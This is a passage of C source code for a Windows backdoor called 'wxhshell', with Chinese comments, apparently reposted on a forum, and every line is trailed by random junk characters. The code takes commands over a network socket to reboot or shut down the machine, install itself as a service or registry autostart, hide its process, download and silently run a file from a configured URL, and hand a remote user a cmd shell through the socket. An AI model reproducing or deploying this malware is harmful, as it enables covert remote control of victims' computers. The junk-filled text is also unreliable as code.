      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7eekTh, ?  
    break; Gv zw=~8  
  } '}T6e1#JV  
  // 安装 =H2.1 :'  
  case 'i': { EcW$'>^  
    if(Install()) cakb.Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,-{ 2ai_  
    else $@:z4S(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7nL3+Pq  
    break; \~bE|jWbj  
    } '1yy&QUZq  
  // 卸载 (@1*-4l  
  case 'r': { hh>mX6A  
    if(Uninstall()) ckPI^0A!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f")*I  
    else J|2OmbJe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QGV~Y+  
    break; ? $LKn2C  
    } b ZEyP W  
  // 显示 wxhshell 所在路径 !{L`Zd;C>w  
  case 'p': { +yd(t}H@  
    char svExeFile[MAX_PATH]; BKQI|i  
    strcpy(svExeFile,"\n\r"); -wjvD8fL  
      strcat(svExeFile,ExeFile); pg'3j3JW$  
        send(wsh,svExeFile,strlen(svExeFile),0); \;Ywr3  
    break; 53cW`F  
    } B!cg)Y?.bd  
  // 重启 -(fvb  
  case 'b': { 7J@D})si  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *PjW,   
    if(Boot(REBOOT)) Q1?G7g]N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -] .Y";  
    else { `+/xA\X]  
    closesocket(wsh); Ge]2g0  
    ExitThread(0); ;f7;U=gl,  
    } ) b vZ~t+^  
    break; v"&Fj  
    } E)dV;1t  
  // 关机 )m Uc !TP  
  case 'd': { dT9!gNvQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RjS&^u aP  
    if(Boot(SHUTDOWN)) n(#159pZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -S"$S16D  
    else { N{<=s]I%x  
    closesocket(wsh); s]=s|  
    ExitThread(0); d8? }69:h  
    } 1wpeYn7>W  
    break; duKR;5:  
    } jWd 7>1R?  
  // 获取shell L27i_4E,  
  case 's': { "38ya2*  
    CmdShell(wsh); .V?i3  
    closesocket(wsh); `%x6;Ha  
    ExitThread(0); :+SpZ>  
    break; 8U07]=Bt<  
  } / 1jb8w'  
  // 退出 Tv& -n  
  case 'x': { {1y-*@yU(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "gD)Uis  
    CloseIt(wsh); a N|MBX;  
    break; :>.~"uWo{  
    } 3P!Jw7e  
  // 离开 dw60m,m  
  case 'q': { U'st\Dt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ':fq  
    closesocket(wsh); f-?00*T  
    WSACleanup(); M<,E[2op  
    exit(1); D 5qCn^R  
    break; k@eU #c5c  
        } s wdW70  
  } ,?+rM ;  
  } "mnWqRpX  
F(8>"(C  
  // 提示信息 dE+xU(\, w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qF{u+Ms  
} 8}0W_CU,  
  } ! Q`GA<ikv  
J>P{8Aw  
  return; n:GK0wu.s  
} ;K:)R_H  
aZYa<28?L%  
// shell模块句柄 dE*n!@  
int CmdShell(SOCKET sock) )POuH*j  
{ r[zxb0YA  
STARTUPINFO si; &WIiw$@  
ZeroMemory(&si,sizeof(si)); GQTMQXn(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b:Lp`8Du  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zA&lJD $0  
PROCESS_INFORMATION ProcessInfo; Kc*h@#`~oL  
char cmdline[]="cmd"; v ?)-KtX|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?L$ Dk5-W  
  return 0; M`ETH8Su=  
} 4}{HRs?  
SLL%XF~/Sb  
// 自身启动模式 w<*tbq  
int StartFromService(void) _yyQ^M/  
{ d*=P8QwL|  
typedef struct /lSz8h2  
{ -y{o@  
  DWORD ExitStatus; d_&R>GmR$  
  DWORD PebBaseAddress; ln7{c #lE  
  DWORD AffinityMask; @8TD^ub  
  DWORD BasePriority; /'IOi`d  
  ULONG UniqueProcessId; u{'bd;.7  
  ULONG InheritedFromUniqueProcessId; 5tg  
}   PROCESS_BASIC_INFORMATION; +Eh1>m  
4!<8Dd  
PROCNTQSIP NtQueryInformationProcess; ]&1Kz 2/  
N %-Cp)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r>S?,qr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rLNo7i  
g*b`V{/Vw  
  HANDLE             hProcess; ?yF)tF+<  
  PROCESS_BASIC_INFORMATION pbi; wAxXK94#3  
D;It0"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -cCujDM#T  
  if(NULL == hInst ) return 0; "w0>  
}\`MXh's  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w} *;^n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P=eVp(/x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p6]4YGw*^  
uh3%}2'P  
  if (!NtQueryInformationProcess) return 0; G}Cze Lw  
Cs7YD~,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6~sb8pK.=  
  if(!hProcess) return 0; eOjoxnD-$  
D0tmNV@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D[m;rcl  
Ns2M8  
  CloseHandle(hProcess); >&tPIrz  
V<AT"vU[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3qPj+@  
if(hProcess==NULL) return 0; j0!Z 20  
m]BxGwT=m  
HMODULE hMod; A^2VH$j]+  
char procName[255]; 3(':4Tas  
unsigned long cbNeeded; U[=VW0  
_h!OGLec  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /c~z(wv  
]'=]=o~4  
  CloseHandle(hProcess); *,~d!Fc  
S1&mY'c  
if(strstr(procName,"services")) return 1; // 以服务启动 dJM)~Ay-  
wp`a:QZ8N  
  return 0; // 注册表启动  2&O!<C j  
} &a%|L=FY  
xSZgQF~  
// 主模块 1+RG@Cp  
int StartWxhshell(LPSTR lpCmdLine) 7.$0LN/a!Z  
{ <\GP\G  
  SOCKET wsl; cj@Ygc)n  
BOOL val=TRUE; Z:W6@j-~  
  int port=0; *{8K b>D  
  struct sockaddr_in door; Eym<DPu$n  
hm>JBc:n-  
  if(wscfg.ws_autoins) Install(); `uy)][j-  
ulV)X/]1  
port=atoi(lpCmdLine); f8kPbpV,  
.{x-A{l  
if(port<=0) port=wscfg.ws_port; 9l9 nT  
Ub*Gv(Pg  
  WSADATA data; zE5%l`@|o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9(DS"fgC  
$-m@cObw!.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \];0S4SBy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N"/jn_>+j  
  door.sin_family = AF_INET; $Zp\^cIE+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z9pv|  
  door.sin_port = htons(port); bl NJ  
u HqPb8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~~k_A|&  
closesocket(wsl); 6Y0k}+j|>E  
return 1; SuU,SE'TX  
} k'{'6JR  
.ml24SeC  
  if(listen(wsl,2) == INVALID_SOCKET) { %N_5p'W  
closesocket(wsl); DcA{E8Y  
return 1; *,X;4?:,  
} jIwz G+)$P  
  Wxhshell(wsl); 0P^RciC f  
  WSACleanup(); ?Z= %I$i  
7J,j  
return 0; I}Uj"m`>  
FjqoO.  
} SYRr|Lg  
Ql^I$5&  
// 以NT服务方式启动 FuiG=quY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hj't.lg+j  
{ wUj[c7Y%  
DWORD   status = 0; Meo(|U  
  DWORD   specificError = 0xfffffff; Fg<$;p  
p'fq&a+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M_*"g>Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <7R\ #  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A ><  
  serviceStatus.dwWin32ExitCode     = 0; u8L%R[#o  
  serviceStatus.dwServiceSpecificExitCode = 0; P2pdXNV  
  serviceStatus.dwCheckPoint       = 0;  i1$ $86  
  serviceStatus.dwWaitHint       = 0; G=Hvh=K(  
J7q^4M+o:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @igr~hJ  
  if (hServiceStatusHandle==0) return; .Nz2K[  
S0\QZ/je  
status = GetLastError(); U8qb2'a8  
  if (status!=NO_ERROR) U;u@\E@2  
{ ~kPHf_B;z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p;cNmMm  
    serviceStatus.dwCheckPoint       = 0; :,%~R2  
    serviceStatus.dwWaitHint       = 0; $(B|$e^:(  
    serviceStatus.dwWin32ExitCode     = status; ^N#B( F  
    serviceStatus.dwServiceSpecificExitCode = specificError; \=PnC}7I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wsya:9|  
    return; {Qbg'|HO=l  
  } 7{>mm$^|V  
<5(P4cm9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _0dm?=  
  serviceStatus.dwCheckPoint       = 0; / r6^]grg  
  serviceStatus.dwWaitHint       = 0; #&<>|m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <y[LdB/a  
} 4\ R2\  
z5`AJrj%  
// 处理NT服务事件,比如:启动、停止 *Z'*^Y1le  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V .+ mK|)  
{ =REMSe j  
switch(fdwControl) 4FUY1p  
{ }-QFMPXhG  
case SERVICE_CONTROL_STOP: I^S gWC  
  serviceStatus.dwWin32ExitCode = 0; DCr&%)Ll  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jez=q  
  serviceStatus.dwCheckPoint   = 0; mh&wvT<:{  
  serviceStatus.dwWaitHint     = 0; 6BK-(>c(6  
  { 8AL`<8$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /vC|_G|{  
  } =y+gS%o$  
  return; sI\v}$(~  
case SERVICE_CONTROL_PAUSE: 7u7`z%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B8A-|S!,U  
  break; e>z   
case SERVICE_CONTROL_CONTINUE: ramYSX@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M ,!Dhuas  
  break; VRden>vKN  
case SERVICE_CONTROL_INTERROGATE: CqK&J /8  
  break; Kz>bfq7  
}; iY@wg 8ry  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S&(MR%".  
} $>^DkrOd  
z OwKh>]  
// 标准应用程序主函数 UF37|+"E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b7-M'-Km0_  
{  ;;>hWAS  
rywui10x*  
// 获取操作系统版本 pUbf]3 t  
OsIsNt=GetOsVer(); L_4c~4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ; '6`hZ  
9O(vh(C  
  // 从命令行安装 0Va+l)F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6!F@?3qCyg  
(j<FS>##  
  // 下载执行文件 ].ZfTrM]  
if(wscfg.ws_downexe) { >Sc)?[H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _[%2QwAUj*  
  WinExec(wscfg.ws_filenam,SW_HIDE); rdj_3Utv  
} fv@mA--  
3an9Rb V  
if(!OsIsNt) { YA+jLy6ZL  
// 如果时win9x,隐藏进程并且设置为注册表启动 9ZXkuP9vm  
HideProc(); arVu`pD*n  
StartWxhshell(lpCmdLine); ki|KtKAu_9  
} DA=#T2)p  
else |!t &ZpdD  
  if(StartFromService()) P}"=67$  
  // 以服务方式启动 hSAdD!  
  StartServiceCtrlDispatcher(DispatchTable); sr S2v\1:  
else rF@njw@  
  // 普通方式启动 /;5U-<qf  
  StartWxhshell(lpCmdLine); y5@#le M  
hHA!.u4&  
return 0; stxei 6  
}
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只看该作者 1 发表于: 2006-10-10
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